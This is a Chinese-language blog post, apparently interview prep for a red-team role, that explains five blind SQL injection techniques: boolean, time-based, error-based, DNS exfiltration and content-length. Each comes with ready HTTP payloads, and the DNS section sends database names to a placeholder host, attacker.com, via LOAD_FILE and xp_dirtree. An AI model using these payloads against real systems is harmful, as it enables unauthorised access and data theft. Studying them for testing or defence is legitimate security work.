长亭红队技术面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1. 基于布尔的盲注 (Boolean-Based Blind Injection)

原理:通过构造布尔条件(TRUE/FALSE),观察页面响应差异(如内容变化、状态码、元素显隐)。
步骤

  1. 验证漏洞点
    向目标参数附加 ' AND 1=1 -- (真条件)和 ' AND 1=2 -- (假条件),观察响应差异。

    GET /product?id=1' AND 1=1 -- HTTP/1.1
    GET /product?id=1' AND 1=2 -- HTTP/1.1
    
    • 若真条件返回正常内容,假条件返回空白/错误,则存在漏洞。

  2. 逐字符提取数据
    使用逐位判断(如判断数据库名首字母):

    GET /product?id=1' AND SUBSTRING((SELECT DATABASE()),1,1)='a' -- HTTP/1.1
    
    • 若页面正常返回,则首字母为 a;否则继续尝试其他字符。

2. 基于时间的盲注 (Time-Based Blind Injection)

原理:通过触发数据库延时函数(如 SLEEP()),根据响应时间判断条件真假。
步骤

  1. 验证漏洞点
    注入时间延迟函数,观察响应是否延迟:

    • MySQL
      GET /product?id=1' AND IF(1=1,SLEEP(5),0) -- HTTP/1.1
      
    • PostgreSQL
      GET /product?id=1' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END -- HTTP/1.1
      
    • 若响应延迟5秒,则存在漏洞。

  2. 逐字符提取数据
    结合条件判断与延时函数:

    GET /product?id=1' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5), 0) -- HTTP/1.1
    
    • 若响应延迟,则首字母为 a

3. 基于错误内容差异的盲注 (Error-Based Content Blind Injection)

原理:通过触发隐式错误(如除以零),观察页面内容或状态码变化。
步骤

  1. 构造错误条件
    注入可能触发错误的语句:

    GET /product?id=1' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END) -- HTTP/1.1
    
    • 若页面返回空白、500错误或内容异常,则条件为真。

  2. 利用错误提取数据
    结合条件判断触发错误:

    GET /product?id=1' AND (SELECT CASE WHEN SUBSTRING((SELECT DATABASE()),1,1)='a' THEN 1/0 ELSE 1 END) -- HTTP/1.1
    
    • 若触发错误,则首字母为 a

4. DNS外带数据 (DNS Exfiltration)

原理:利用数据库函数发起DNS查询,通过域名解析日志泄露数据。
步骤

  1. 构造DNS请求
    注入拼接数据的域名(需控制DNS服务器):
    • MySQL(需FILE权限):
      GET /product?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.attacker.com\\')) -- HTTP/1.1
      
    • Microsoft SQL Server
      GET /product?id=1'; EXEC master..xp_dirtree '\\'+(SELECT DATABASE())+'.attacker.com\' -- HTTP/1.1
      
  2. 监测DNS日志
    attacker.com的DNS服务器查看解析记录,获取泄露的数据。

5. 基于响应内容长度的盲注 (Content-Length-Based Blind Injection)

原理:通过条件语句控制页面内容长度差异(如返回空结果集)。
步骤

  1. 验证漏洞点
    注入影响结果集的条件:

    GET /product?id=1' AND 1=1 -- HTTP/1.1  # 正常长度
    GET /product?id=1' AND 1=2 -- HTTP/1.1  # 结果为空,长度变短
    
    • 观察Content-Length或页面体积变化。

  2. 逐字符提取数据
    结合条件与内容长度判断:

    GET /product?id=1' AND (SELECT LENGTH(DATABASE()))=4 -- HTTP/1.1
    
    • 若长度匹配,则数据库名长度为4。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值